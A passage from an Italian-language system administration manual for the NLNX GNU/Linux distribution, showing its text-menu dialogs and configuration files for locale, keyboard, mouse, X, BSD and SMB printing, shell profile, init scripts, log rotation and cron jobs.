|                <  OK  >         <Cancel>                     |
`--------------------------------------------------------------'
```

Al termine viene offerto di specificare il valore da assegnare alla variabile di ambiente '**LANG_FOR_X**'; vengono proposti solo linguaggi che utilizzano la codifica UTF-8.

Figura 51.50. Configurazione della variabile '**LANG_FOR_X**' che si riflette nella configurazione locale del sistema grafico.

```
.------------X language selection---------------.
| Please select your language for the X         |
| graphical environment.                        |
| Please note that if there will be an          |
| environment variable LANG_FOR_X defined, it   |
| will override this selection.                 |
| .----(+)------------------------------------. |
| |   pa_IN.UTF-8          UTF-8              | |
| |   pl_PL.UTF-8          UTF-8              | |
| |   pt_BR.UTF-8          UTF-8              | |
| |   pt_PT.UTF-8          UTF-8              | |
| |   ro_RO.UTF-8          UTF-8              | |
| |   ru_RU.UTF-8          UTF-8              | |
| |   ru_UA.UTF-8          UTF-8              | |
| |   se_NO.UTF-8          UTF-8              | |
| |   sk_SK.UTF-8          UTF-8              | |
| |   sl_SI.UTF-8          UTF-8              | |
| |   so_ET.UTF-8          UTF-8              | |
| `---.(+)------------------------------------' |
|-----------------------------------------------|
|           <  OK  >       <Cancel>             |
`-----------------------------------------------'
```

Si osservi che gli utenti comuni possono utilizzare il comando '**nlnxrc locale config**', per definire il contenuto delle variabili '**LANG**' e '**LANG_FOR_X**', perché lo script '~/.profile' va a leggere il contenuto dei file '~/.LANG' e '~/.LANG_FOR_X', nei quali vengono annotate queste informazioni:

$ **nlnxrc locale config** [*Invio*]

L'utente comune non può cambiare i caratteri usati per la visualizzazione attraverso la console

e non può nemmeno cambiare la mappa della tastiera, mentre rimane questa possibilità quando utilizza la grafica.

51.7.2 Configurazione di mouse e tastiera

La configurazione iniziale della tastiera è prevista secondo le convenzioni della distribuzione GNU/Linux Debian, nel file '/etc/console/boottime.kmap.gz'. La mappa predefinita di NLNX è diversa da quella standard per la lingua italiana usata dalla distribuzione Debian; pertanto, se si aggiorna il pacchetto relativo alla gestione della tastiera, può darsi che la mappa venga rimpiazzata con quella comune, perdendo le estensioni previste per NLNX. Se necessario, la mappa estesa si trova in '/usr/share/keymaps/i386/qwerty/it-xorg.kmap.gz', oppure si utilizza nuovamente '**nlnxrc locale config**'.

```
# cp /usr/share/keymaps/i386/qwerty/it-xorg.kmap.gz ↩
↪   /etc/console/boottime.kmap.gz [Invio]
```

La gestione del mouse è sottoposta al controllo di GPM e il sistema grafico, X, utilizza le informazioni generate da GPM stesso, senza accedere direttamente al mouse. La configurazione predefinita di NLNX prevede l'uso di un mouse di tipo PS/2 con rotellina (precisamente un mouse IntelliMouse PS/2), che è perfettamente compatibile con un mouse PS/2 normale, anche se fosse a due tasti, ma si può utilizzare il comando '**nlnxrc mouse config**' per attivare la gestione di un mouse differente:

```
# nlnxrc mouse config [Invio]
```

```
.---------------------------Mouse selection-----------------------------.
| Please select the mouse command:                                      |
| .-------------------------------------------------------------------. |
| |   gpm -t imps2 -m /dev/psaux -R ms3  previous_value               | |
| |   gpm -t imps2 -m /dev/psaux -R ms3  IM PS/2 (wheel)              | |
| |   gpm -t ps2   -m /dev/psaux -R ms3  PS/2                         | |
| |   gpm -t ms3   -m /dev/ttyS0 -R ms3  MS IM serial COM1: (wheel)   | |
| |   gpm -t ms3   -m /dev/ttyS1 -R ms3  MS IM serial COM2: (wheel)   | |
| |   gpm -t ms    -m /dev/ttyS0 -R ms3  MS serial COM1:              | |
| |   gpm -t ms    -m /dev/ttyS1 -R ms3  MS serial COM2:              | |
| |   gpm -t msc   -m /dev/ttyS0 -R ms3  MSystems serial COM1:        | |
| |   gpm -t msc   -m /dev/ttyS1 -R ms3  MSystems serial COM2:        | |
| '-------------------------------------------------------------------' |
|-----------------------------------------------------------------------|
|                     <  OK  >            <Cancel>                      |
'-----------------------------------------------------------------------'
```

Eventualmente si può intervenire manualmente nel file '/etc/gpm.conf', cambiando ciò che serve; se si agisce in questo modo, dopo la modifica, ovviamente, si deve riavviare il demone '**gpm**' attraverso lo script previsto dalla distribuzione:

```
# /etc/init.d/gpm stop [Invio]
```

```
# /etc/init.d/gpm start [Invio]
```

Se funziona il mouse su una console, funziona di conseguenza anche con X.

Può capitare che il demone '**gpm**' non si avvii regolarmente, anche se la configurazione predefinita corrisponde alla situazione reale. In tal caso è necessario riavviare manualmente il servizio nel modo appena mostrato.

51.7.3 Configurazione di X

La configurazione iniziale contenuta nel file '`/etc/xorg.conf`' è predisposta automaticamente se il file system è in sola lettura; diversamente potrebbe trattarsi di una configurazione generica VESA. In generale, se la configurazione non è stata determinata in modo automatico o comunque se non è soddisfacente, può essere conveniente modificarla con il comando '**`nlnxrc x config`**', operando in qualità di amministratore:

`nlnxrc x config` [*Invio*]

La prima cosa che viene richiesto di specificare è l'adattatore grafico:

```
01:00.0 VGA compatible controller: nVidia Corporation NV5M64 [RIVA TNT2 Model
| Please, select one of the following video adapters:                         |
| .---^(-)-------------------------------------------------------------------. |
| |   cyrix          /usr/lib/xorg/modules/drivers/cyrix_drv.so              | |
| |   dummy          /usr/lib/xorg/modules/drivers/dummy_drv.so              | |
| |   fbdev          /usr/lib/xorg/modules/drivers/fbdev_drv.so              | |
| |   glint          /usr/lib/xorg/modules/drivers/glint_drv.so              | |
| |   i128           /usr/lib/xorg/modules/drivers/i128_drv.so               | |
| |   i740           /usr/lib/xorg/modules/drivers/i740_drv.so               | |
| |   i810           /usr/lib/xorg/modules/drivers/i810_drv.so               | |
| |   imstt          /usr/lib/xorg/modules/drivers/imstt_drv.so              | |
| |   mga            /usr/lib/xorg/modules/drivers/mga_drv.so                | |
| |   neomagic       /usr/lib/xorg/modules/drivers/neomagic_drv.so           | |
| |   newport        /usr/lib/xorg/modules/drivers/newport_drv.so            | |
| |   nsc            /usr/lib/xorg/modules/drivers/nsc_drv.so                | |
| |   nv             /usr/lib/xorg/modules/drivers/nv_drv.so                 | |
| '---v(+)-------------------------------------------------------------------' |
|------------------------------------------------------------------------------|
|                        <  OK  >            <Cancel>                          |
'------------------------------------------------------------------------------'
```

Si può osservare, in alto, che viene suggerito il nome dell'adattatore grafico, in base a quanto riportato dal bus PCI. In questo caso, va scelta la voce '**`nv`**', portandovi sopra il cursore e premendo [*Invio*] per confermare.

La richiesta successiva riguarda la mappa della tastiera da usare durante il funzionamento grafico. Si deve specificare una mappa principale e una alternativa (la mappa principale deve essere latina):

```
.----------Select the X main keyboard-------------.
| Please, select one of the following keyboard    |
| maps, to be used as the MAIN one, It should be  |
| a latin keyboard map:                           |
| .---^(-)--------------------------------------. |
| |   hu          Hungarian                     | |
| |   is          Icelandic                     | |
| |   it          Italian                       | |
| |   la          Latin America                 | |
| |   lt          Lithuanian qwerty numeric     | |
| |   lt_std      Lithuanian azerty standard    | |
| |   lv          Latvian                       | |
| |   mt          Maltese                       | |
| |   no          Norvegian                     | |
| '---v(+)--------------------------------------' |
|-------------------------------------------------|
|             <  OK  >       <Cancel>             |
'-------------------------------------------------'
```

```
.--------Select the X alternate keyboard----------.
| Please, select one of the following keyboard    |
| maps, to be used as the alternate one:          |
| .--------------------------------------------. |
| |   us          previous                     | |
| |   us          U.S. English                 | |
| |   en_US       U.S. English w/ ISO9995-3    | |
| |   us_intl     U.S. English w/ deadkeys     | |
| |   al          Albanian                     | |
| |   ar          Arabic                       | |
| |   am          Armenian                     | |
| |   az          Azerbaidjani                 | |
| |   by          Belarusian                   | |
| |   be          Belgian                      | |
| |   ben         Bengali                      | |
| '---v(+)-------------------------------------' |
|-------------------------------------------------|
|             <  OK  >       <Cancel>             |
'-------------------------------------------------'
```

Alla fine si specifica la frequenza di scansione, la profondità di colori e la geometria. Questa è la scelta più delicata:

```
.-------------------Screen frequencies and color depth----------------------.
| Please, select one of the following screen frequencies, color depth and    |
| geometry combinations. The ranges with high frequencies are very dangerous |
| for you screen if it cannot handle them!                                   |
|                                                                            |
| Horizontal kHz;    Vertical Hz; b/px; Geometry                             |
| .^(-)-------------------------------------------------------------------. |
| |30-80;                 50-90;   24; auto       4:3 24 bit/pixel        | |
| |30-80;                 50-90;   16; 1024x768   4:3 16 bit/pixel        | |
| |30-80;                 50-90;   24; 1024x768   4:3 24 bit/pixel        | |
| |30-80;                 50-90;   16; 1280x960   4:3 16 bit/pixel        | |
| |30-80;                 50-90;   24; 1280x960   4:3 24 bit/pixel        | |
| |30-80;                 50-90;   16; 1280x1024  5:4 16 bit/pixel        | |
| |30-80;                 50-90;   24; 1280x1024  5:4 24 bit/pixel        | |
| |30-80;                 50-90;   16; 1600x960   5:3 16 bit/pixel        | |
| |30-80;                 50-90;   24; 1600x960   5:3 24 bit/pixel        | |
| |30-80;                 50-90;   16; 1600x1200  4:3 16 bit/pixel        | |
| |30-80;                 50-90;   24; 1600x1200  4:3 24 bit/pixel        | |
| 'v(+)-------------------------------------------------------------------' |
|----------------------------------------------------------------------------|
|                     <  OK  >           <Cancel>                            |
'----------------------------------------------------------------------------'
```

Se il risultato non è esattamente come si vorrebbe, dopo la configurazione guidata da '**nlnxrc**', si può anche ritoccare a mano il file '`/etc/xorg.conf`'. I punti salienti sono questi:

```
…
Section "Monitor"
    Identifier  "Generic Monitor"
    Option      "DPMS"
    HorizSync    30-80
    VertRefresh  50-90
EndSection
…
Section "Screen"
    Identifier  "Default Screen"
    Device      "Generic Adapter"
```

```
    Monitor      "Generic Monitor"
    DefaultDepth  24
    …
    SubSection "Display"
        Depth    16
        Modes    "1280x1024"
        ViewPort 0 0
    EndSubSection
    SubSection "Display"
        Depth    24
        Modes    "1280x1024"
        ViewPort 0 0
    EndSubSection
EndSection
…
```

Si osservi che quando si utilizza NLNX da DVD *live*, o comunque in una situazione in cui il file system principale è in sola lettura, se la grafica non si avvia automaticamente, occorre utilizzare il comando '**startx**' tradizionale. In tal caso, però, lo script '**startx**', prima dell'avvio, modifica il file '/etc/xorg.conf' al volo, facendo le stesse domande che farebbe '**nlnxrc**', come appena mostrato.

51.8 Stampa

NLNX include un servente di stampa compatibile con il tipo BSD, dove il file '/etc/printcap' può essere configurato facilmente con l'aiuto di '**nlnxrc**'.

51.8.1 Configurazione

Con il comando '**nlnxrc printer config**' si rigenera il file '/etc/printcap', specificando una sola coda di stampa predefinita, che può corrispondere anche a un servizio presso un elaboratore remoto, inclusi quelli offerti da elaboratori MS-Windows:

nlnxrc printer config [*Invio*]

```
.Setup default printer filter type--.
| Please, select one of the         |
| following filter programs:        |
| .-------------------------------. |
| |   magicfilter  Magicfilter    | |
| |   foomatic     Foomatic       | |
| '-------------------------------' |
|-----------------------------------|
|       <  OK  >    <Cancel>        |
'-----------------------------------'
```

Inizialmente viene chiesto di specificare quale programma usare per la gestione del filtro di stampa che si preferisce. Magicfilter è il più semplice, con lo svantaggio che l'elenco di stampanti è ridotto (con Magicfilter manca soprattutto la gestione attraverso il servente HP IJS), ma consente a chi sa usarlo di predisporre il proprio filtro personalizzato; Foomatic è il più adatto per i meno esperti, essendo fornito di un elenco molto grande di modelli di stampanti.

Quello che segue è l'elenco che può apparire dopo avere selezionato Magicfilter:

```
.------------------------Setup default printer type--------------------------.
| Please, select one of the following printer filters.                       |
| If you don't find your special printer, please try a different name that   |
| might be compatible with the one that you have.                            |
| .------------------------------------------------------------------------. |
| |bj10e                 /etc/magicfilter/bj10e-filter                     | |
| |bj200                 /etc/magicfilter/bj200-filter                     | |
| |bj600_draft           /etc/magicfilter/bj600_draft-filter               | |
| |bj600                 /etc/magicfilter/bj600-filter                     | |
| |bj610                 /etc/magicfilter/bj610-filter                     | |
| |bj800_draft           /etc/magicfilter/bj800_draft-filter               | |
| |bj800                 /etc/magicfilter/bj800-filter                     | |
| |bjccolor              /etc/magicfilter/bjccolor-filter                  | |
| |cps300                /etc/magicfilter/cps300-filter                    | |
| 'v(+)--------------------------------------------------------------------' |
|----------------------------------------------------------------------------|
|                     <  OK  >            <Cancel>                           |
'----------------------------------------------------------------------------'
```

Il menù seguente riguarda invece la scelta di Foomatic:

```
.----------------Setup default printer type--------------------.
| Please, select one of the following PPD.                      |
| .----------------------------------------------------------. |
| |   HP-2000C-hpijs                       .                 | |
| |   HP-2000C-pcl3                        .                 | |
| |   HP-2500C-hpijs                       .                 | |
| |   HP-2500CM-hpijs                      .                 | |
| |   HP-2500CM-Postscript                 .                 | |
| |   HP-2500C-pcl3                        .                 | |
| |   HP-2563-lp2563                       .                 | |
| |   HP-Business_Inkjet_1100-hpijs        .                 | |
| |   HP-Business_Inkjet_1200-hpijs        .                 | |
| |   HP-Business_Inkjet_2200-chp2200      .                 | |
| |   HP-Business_Inkjet_2200-hpijs        .                 | |
| '---v(+)---------------------------------------------------' |
|--------------------------------------------------------------|
|                 <  OK  >         <Cancel>                    |
'--------------------------------------------------------------'
```

Nel caso di Foomatic, i nomi dei modelli di stampante contengono anche un'estensione che fa capire in che modo viene realizzato il filtro; pertanto, spesso sono disponibili filtri differenti per uno stesso modello. Si osservi che non è garantito che funzionino tutte le voci e può essere necessario fare dei tentativi.

Dopo avere specificato il nome del filtro da usare, si può indicare l'indirizzi IPv4 presso il quale si trova la stampante; se si tratta dell'indirizzo 127.0.0.1 o se si lascia vuoto il campo, si intende fare riferimento a una stampante locale. In alternativa, si può indicare un percorso per raggiungere una stampante condivisa di MS-Windows.

```
.----------------Printer location------------------.
| Please insert the printer location address; if   |
| the printer is local, just use "127.0.0.1" or    |
| leave it blank; if it is a BSD remote printer,   |
| put the IPv4 address; if it is a SMB (Windows)   |
| remote printer, enter the resource path, like:   |
| "//hostname/printer" (do not use backslash).     |
| .----------------------------------------------. |
| |127.0.0.1                                     | |
| `----------------------------------------------' |
|--------------------------------------------------|
|             <  OK  >       <Cancel>              |
`--------------------------------------------------'
```

Se si fa riferimento a una stampante locale (come appare nell'esempio), viene richiesto di indicare il file di dispositivo a cui corrisponde la stampante:

```
.---Setup default printer device-----.
| Please, select one of the          |
| following printer devices:         |
| .--------------------------------. |
| |   /dev/lp0      /dev/lp0       | |
| |   /dev/usb/lp0  /dev/usb/lp0   | |
| `--------------------------------' |
|------------------------------------|
|       <  OK  >     <Cancel>        |
`------------------------------------'
```

Quando si installa NLNX nel disco fisso, se questo non viene aggiornato automaticamente, tramite il protocollo DHCP, è necessario predisporre il file '`/etc/printcap`' con l'aiuto del comando '**`nlnxrc printer config`**', ritoccandolo eventualmente a mano in un momento successivo. Segue un esempio riferito alla stampa compatibile con un modello HP Laserjet generico, collegata alla prima porta parallela:

```
lp:\
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
        :lf=/var/log/lp-errs:\
        :if=/etc/magicfilter/laserjet-filter:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :sh:
```

Con il comando '**`nlnxrc printer config`**' è possibile configurare una sola stampante; se si vogliono gestire più stampanti, o semplicemente più code differenti, occorre modificare il file '`/etc/printcap`' a mano. L'esempio seguente riporta il caso di due code di stampa: quella predefinita riguarda una stampante locale HP Laserjet, mentre la coda successiva ('**`lp2`**') è rivolta a una stampante remota (192.168.1.254), senza specificare il tipo di filtro:

```
lp:\
        :lp=/dev/lp0:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
```

```
        :lf=/var/log/lp-errs:\
        :if=/etc/magicfilter/laserjet-filter:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :sh:

lp2:\
        :sd=/var/spool/lpd/lp:\
        :af=/var/log/lp-acct:\
        :lf=/var/log/lp-errs:\
        :pl#66:\
        :pw#80:\
        :pc#150:\
        :mx#0:\
        :mc#999:\
        :rp=lp:\
        :rm=192.168.1.254:\
        :sh:
```

Per approfondire l'argomento si può consultare il capitolo 30 dedicato alla stampa.

Va osservato che se si richiede di utilizzare una stampante condivisa, specificando un percorso del tipo '`//pc01/stampante`', tale percorso va usato utilizzando solo barre oblique normali, e non le barre inclinate nel modo opposto, come fa MS-Windows; inoltre, se il nome della stampante contiene spazi, al loro posto va usata la sequenza '**`%20`**'. Infine, va tenuto presente che la configurazione non si riflette sostanzialmente nel file '`/etc/printcap`', perché sono gli script '`/etc/script/lpr`' e '`/etc/script/lp`' che si occupano, in tal caso, di inviare il file da stampare (filtrato opportunamente) alla condivisione. Ciò significa anche che per raggiungere una stampante condivisa, non è possibile usare direttamente il comando '`/usr/bin/lpr`', ma bisogna avvalersi necessariamente degli script di NLNX.

```
.----------------Printer location------------------.
| Please insert the printer location address; if   |
| the printer is local, just use "127.0.0.1" or    |
| leave it blank; if it is a BSD remote printer,   |
| put the IPv4 address; if it is a SMB (Windows)   |
| remote printer, enter the resource path, like:   |
| "//hostname/printer" (do not use backslash).     |
| .----------------------------------------------. |
| |//docenti/stampante                           | |
| `----------------------------------------------' |
|--------------------------------------------------|
|              <  OK  >       <Cancel>             |
`--------------------------------------------------'
```

Quando si specifica un percorso di stampa riferito a una condivisione MS-Windows, viene richiesto di specificare eventualmente il nominativo dell'utente e la parola d'ordine per accedere al servizio. Naturalmente, se questo servizio non lo richiede, tali dati aggiuntivi non vanno inseriti.

```
.----------Printer user------------.   .--------Printer password----------.
| Please insert the user to access |   | Please insert the password to    |
| the remote printer               |   | access the remote printer        |
| "//docenti/stampante". If there  |   | "//docenti/stampante" as user    |
| is no user, just leave it blank. |   | "daniele". If there is no        |
|                                  |   | password, just leave it blank.   |
| .------------------------------. |   | .------------------------------. |
| |                              | |   | |                              | |
| '------------------------------' |   | '------------------------------' |
|----------------------------------|   |----------------------------------|
|       <  OK  >    <Cancel>       |   |       <  OK  >    <Cancel>       |
'----------------------------------'   '----------------------------------'
```

51.8.2 Opzioni di avvio per la stampa

Tra le opzioni di avvio di NLNX, ne sono previste alcune per la configurazione al volo della stampante. In particolare, '**n_lpr_filter**' si può usare sia per la stampa «normale» (BSD), sia per quella con le stampanti condivise di MS-Windows allo scopo di consentire l'indicazione del filtro da applicare ai file che vengono inviati alla stampante. Il nome del filtro deriva dal nome del file contenuto nella directory '/etc/magicfilter/', togliendo la terminazione '-filter', oppure dal nome del file PPD, togliendo l'estensione '.ppd' o '.ppd.gz'. Per esempio, volendo utilizzare il file 'ljet4-filter' va scritto semplicemente il nome '**ljet4**', mentre volendo utilizzare il file 'HP-LaserJet_4-ljet4.ppd.gz' va scritto solo il nome '**HP-LaserJet_4-ljet4**'. Segue la descrizione di alcuni esempi un po' più completi.

- `n_lpr_server=127.0.0.1 n_lpr_filter=laserjet`

  `n_lpr_filter=laserjet`

  Configura la stampa per una stampante locale, utilizzando un filtro di stampa per il tipo «laserjet» (corrispondente al file '/etc/magicfilter/laserjet-filter'. Il file di dispositivo corrispondente alla stampante locale viene individuato automaticamente, per esclusione.

- `n_lpr_server=172.21.254.254 n_lpr_filter=laserjet`

  Configura la stampa per una stampante di rete, all'indirizzo 172.21.254.254, utilizzando un filtro di stampa per il tipo «laserjet» (corrispondente al file '/etc/magicfilter/laserjet-filter'.

- `n_smp_prn=//pc77/stampante n_smb_prn_user=root n_lpr_filter=laserjet`

  Configura la stampa per una stampante di rete, condivisa da un elaboratore MS-Windows con il nome '\\pc77\stampante', autenticandosi come amministratore e senza fornire alcuna parola d'ordine. Il filtro di stampa è lo stesso visto negli esempi precedenti.

- `n_smp_prn=//pc77/stampante n_smb_prn_user=root ↩`
  `↪n_smb_prn_passwd=segreta n_lpr_filter=laserjet`

  Come nell'esempio precedente, specificando una parola d'ordine.

- `n_smp_prn=//192.168.0.7/stampante n_smb_prn_user=root ↩`
  `↪n_smb_prn_passwd=segreta n_lpr_filter=laserjet`

Come nell'esempio precedente, indicando al posto del nome dell'elaboratore che offre la condivisione della stampante, il suo indirizzo IPv4.

- `n_max_pages=11`

  Fissa il numero massimo di pagine stampabili per volta.

51.9 Particolarità varie di NLNX

Le funzionalità principali di NLNX sono gestite attraverso lo script '**`nlnxrc`**' ('`/etc/script/nlnxrc`') che può essere utilizzato anche senza argomenti, ottenendo così un menù delle funzionalità principali:

\# **`nlnxrc`** [*Invio*]

Figura 51.73. Come si presenta lo script '**`nlnxrc`**' quando viene avviato senza argomenti, per ottenere il menù dei comandi disponibili. Le voci sono raggruppate in base al contesto per le quali possono essere più interessanti.

```
.-----------------------------------NLNX-------------------------------------.
| nlnxrc menu                                                                |
| Some functions are reserved to "root" or might be reserved for usage with  |
| read-write or read-only file system: see "nlnxrc --help" for a contextual  |
| command list.                                                              |
| .^(-)------------------------------------------------------------------. |
| |user add              #rw Add a new user                              | |
| |user del              #rw Remove an old user                          | |
| |user passwd           $rw Change the user password                    | |
| |user info             #rw Show info on a selected common user         | |
| |home info             #rw Show info on a selected home directory      | |
| |quota set             #rw Set user's disk quota                       | |
| |nis-server-users edit #rw Edit NIS server allowed users               | |
| |print maxpages        #   Set max pages to print with lpr/lp          | |
| |--------------------- -----------------------------------------------| |
| |ssh hostkey           #   Make some new host keys                     | |
| |ssh userkey           $   Make some new RSA keys for the user         | |
| |--------------------- -----------------------------------------------| |
| 'v(+)------------------------------------------------------------------' |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

Si osservi che all'inizio delle voci appaiono delle sigle: '**`$`**' indica una funzione disponibile a tutti gli utenti; '**`#`**' indica una funzione disponibile soltanto all'amministratore; '**`#ro`**' è una funzione disponibile soltanto all'amministratore durante il funzionamento con un file system in sola lettura (come nel DVD *live*); '**`#rw`**' indica una funzione che si può utilizzare solo come amministratore, quando il sistema è installato in un disco normale (con accesso in lettura e scrittura).

51.9.1 ACPI

Il kernel standard di NLNX include delle funzionalità ACPI. In diversi casi, queste funzionalità sono limitate o disabilitate del tutto, perché all'avvio viene passata al kernel l'opzione '**acpi=strict**' o '**acpi=off**', ma in tali situazioni si possono abilitare facilmente (inserendo all'avvio l'opzione '**acpi=on**', oppure modificando la configurazione di GRUB 1 con il file 'grub/menu.lst', o di SYSLINUX con il file 'syslinux.cfg', una volta installato NLNX).

Quando sono attive le funzionalità ACPI, è possibile controllare sommariamente il tempo di ritardo per lo spegnimento dei dischi, attraverso '**nlnxrc**':

nlnxrc acpi spindown [*Invio*]

Se si vuole gestire lo spegnimento dei dischi in modo indipendente da quanto predisposto da NLNX (utilizzando il programma '**hdparm**', con l'opzione '**-S**', a mano), bisogna accertarsi di eliminare il file '/etc/nlnx/ACPI_STAND_BY_VALUE', che altrimenti viene preso in considerazione all'avvio del sistema.

51.9.2 Configurazione di Bash e script di sistema

Il file '/etc/profile' è più articolato di quello standard. Vengono descritte le particolarità più significative.

- La variabile '**PATH**' tiene conto anche di quanto contenuto nelle directory '/opt/*/bin/' ed è prevista la directory '/etc/script/' per gli script che non appartengono allo standard della distribuzione GNU/Linux Debian. Il percorso della directory '/etc/script/' viene posto prima degli altri, in modo da avere la precedenza nella scelta di nomi uguali.
- L'invito della shell è costruito in modo da mostrare un indirizzo IPv4 utile per identificare il proprio elaboratore. L'indirizzo IPv4 viene ottenuto leggendo lo stato attuale della configurazione delle interfacce di rete; se l'indirizzo cambia, per aggiornare l'invito è necessario uscire e rientrare dalla sessione di lavoro.
- Sono previsti una serie di alias per i comandi '**rm**', '**cp**', '**mv**' e '**ln**', in modo da usare sempre l'opzione '**-i**'.
- Se l'utente che tenta di accedere non è l'amministratore e si tratta di un elaboratore che sembra essere dedicato alla condivisione delle utenze attraverso NFS e NIS, si fa in modo che la shell termini di funzionare, prima che l'utente possa avere a disposizione l'invito. Tuttavia, è possibile definire un elenco di utenti comuni che non sono sottoposti a questa limitazione, nel file '/etc/nlnx/NIS_SERVER_ALLOWED_USERS'.
- Se l'utente che tenta di accedere non è l'amministratore e il sistema operativo è installato in un file system usato in lettura e scrittura, l'accesso può essere sottoposto a un controllo preliminare sull'utilizzo del disco. Per attivare questa funzionalità in pratica, si utilizza il comando '**nlnxrc quota set**', con il quale viene richiesto di modificare il file '/etc/nlnx/HOME_DISK_SPACE_ALLOWED'. Il file ha una sintassi molto semplice: è composto da righe composte secondo il modello seguente:

  [*nominativo_utente*] **:*n***

Il numero che appare dopo i due punti ('`:`') è la quantità di byte a disposizione, mentre il nominativo utente, se non viene indicato rappresenta tutti gli utenti che nel file non sono stati specificati.

Ogni volta che un utente accede al sistema, viene informato sullo stato dell'utilizzo del disco a partire dalla propria directory personale.

51.9.3 Procedura di inizializzazione del sistema

La procedura di inizializzazione del sistema prevede diversi script in più, come sintetizzato nella tabella successiva.

Tabella 51.74. Script aggiuntivi di NLNX, legati in qualche modo alla procedura di inizializzazione del sistema.

Script e collegamenti simbolici	Descrizione
'/etc/script.functions/*'	Funzioni generali di NLNX. Non vengono eseguiti da soli, ma incorporati in altri script, anche al di fuori della procedura di inizializzazione del sistema.
'/etc/init.d/nlnx.ro-fs' '/etc/rcS.d/S19nlnx.ro-fs'	È presente solo in un file system in sola lettura e serve a riprodurre la struttura necessaria delle directory '/var/', '/home/' e '/etc/' nel file system virtuale contenuto nel disco RAM, inoltre serve ad attivare la memoria virtuale nel caso riesca a trovare una partizione già prevista per questo.
'/etc/init.d/nlnx.hardware' '/etc/rcS.d/S31nlnx.hardware'	Configurazione riconducibile all'hardware e caricamento dei moduli relativi.
'/etc/init.d/nlnx.config' '/etc/rcS.d/S32nlnx.config'	Ripristino della configurazione particolare di NLNX e aggiornamento della configurazione sulla base delle opzioni di avvio.
'/etc/init.d/nlnx.network' '/etc/rcS.d/S41nlnx.network'	Configurazione della rete.
'/etc/init.d/nlnx.mixed' '/etc/rcS.d/S98nlnx.mixed'	È il raccoglitore di tutto quello che deve essere fatto alla fine del primo gruppo di script della procedura di avvio, contenuti nella directory '/etc/rcS.d/'.
'/etc/init.d/nlnx.ipwatch' '/etc/rc[2|3|4|5].d/S20nlnx.ipwatch'	Script di avvio e arresto del servizio IPwatch, con il quale il demone '**ipwatch**' verifica che il proprio indirizzo IPv4 non venga annunciato da altri nella rete locale. Tale servizio serve particolarmente per un elaboratore servente, il quale non deve risultare oscurato improvvisamente da un conflitto di indirizzi IP.
'/etc/init.d/nlnx.watchdog' '/etc/rc[2|3|4|5].d/S98nlnx.watchdog'	È uno script da adattare e utilizzare espressamente, perché altrimenti non viene avviato in modo predefinito. Il suo scopo è quello di accertarsi del funzionamento di certi servizi e, in mancanza di risposta, provvedere al loro riavvio. Per questo si avvale di altri script, denominati 'nlnx_watchdog_...'.
'/etc/init.d/nlnx.display_manager' '/etc/rc[2|3|4|5].d/S99nlnx.display_manager'	Se si utilizza l'opzione di avvio '**n_auto_dm=1**', invece dell'accesso consueto, si ottiene un menù con cui selezionare uno degli utenti predefiniti, ciò attraverso questo script.

Script e collegamenti simbolici	Descrizione
'/etc/init.d/nlnx.last' '/etc/rc[2|3|4|5].d/S99nlnx.last'	Contiene ciò che va fatto quasi alla fine della procedura di avvio, pertanto si trova richiamato dalle directory '/etc/rc2.d/', '/etc/rc3.d/', '/etc/rc4.d/' e '/etc/rc5.d/'; in particolare, questo script contiene la configurazione del tempo di ritardo per lo spegnimento dei dischi se le funzioni ACPI sono attive.
'/etc/init.d/nlnx.mnt_fs' '/etc/init.d/nlnx.mnt_hd' '/etc/init.d/nlnx.mnt_md' '/etc/init.d/nlnx.mnt_sd' '/etc/init.d/nlnx.mnt_sr'	Ricostruzione dei punti di innesto a partire dalla directory '/mnt/'. Questi script vengono eseguiti da uDev e riguardano la procedura di inizializzazione del sistema in modo indiretto.

Il file '/etc/rc.local' è a disposizione della personalizzazione, secondo la convenzione di diverse distribuzioni GNU/Linux.

51.9.4 Registri

Nella sua configurazione predefinita, NLNX prevede che il file '/var/log/syslog' venga usato per accumulare una copia di tutti i messaggi che riguardano il registro di sistema (log); inoltre, prevede che la rotazione di questo file avvenga in modo tale da poter disporre sempre di almeno un anno di utilizzo dell'elaboratore. Per controllare la rotazione del file, è stato necessario modificare i file '/etc/cron.daily/sysklogd' e '/etc/cron.weekly/sysklogd', che nella distribuzione GNU/Linux Debian sono organizzati inizialmente per una sola settimana di dati. I file in questione sono modificati nel modo seguente:

```
...
cd /var/log
for LOG in `syslogd-listfiles`
do
   if [ -s $LOG ]; then
      savelog -g adm -m 644 -u root -c 400 $LOG > /dev/null
   fi
done
...
```

```
...
cd /var/log
for LOG in `syslogd-listfiles --weekly`
do
   if [ -s $LOG ]; then
      savelog -g adm -m 644 -u root -c 58 $LOG > /dev/null
   fi
done
...
```

Oltre al numero di copie più alto rispetto al solito, si deve osservare che i permessi consentono a tutti di leggere questi file. Infatti, ciò è voluto proprio per motivi didattici, allo scopo di consentire a tutti gli utenti lo studio del contenuto dei registri.

51.9.5 Pianificazione dei processi con Cron

Sono presenti alcuni script realizzati appositamente per NLNX, nelle directory usate da Cron per l'esecuzione pianificata dei processi. La tabella successiva riassume quelli più importanti.

Tabella 51.77. Script aggiuntivi di NLNX, relativi all'esecuzione periodica di processi.

Script	Descrizione
'/etc/cron.01/nlnx-img'	Verifica se esiste il file (o il collegamento) '/opt/nlnx/nlnx.img' e se è così, lo innesta (o reinnesta) come file-immagine, nella directory '/mnt/nlnx-img/'.
'/etc/cron.daily/nlnx-clamav-home'	Avvia la scansione antivirus a partire dalla directory '/home/'. Se esiste la directory '/home/.virus/', i file che risultano contaminati vengono spostati lì, altrimenti vengono cancellati.
'/etc/cron.daily/nlnx-logfilter'	Rielabora il file '/var/log/syslog.0', selezionando alcune informazioni e producendo i file '/var/log/access.***n***.log', '/var/log/users.***n***.log' e '/var/log/admin.***n***.log'. Il numero ***n*** è costituito dall'anno e dal giorno dell'anno in cui ha luogo l'elaborazione.
'/etc/cron.daily/nlnx-quotacheck'	Ripristina il controllo delle quote di utilizzo del disco.
'/etc/cron.daily/time-align'	Riallinea l'orologio interno con il riferimento presente nella configurazione.
'/etc/cron.daily/nlnx-webalizer'	Esegue il comando '**nlnxrc webalizer update**', con il quale si aggiorna, se c'è, la statistica degli accessi al servente HTTP locale.

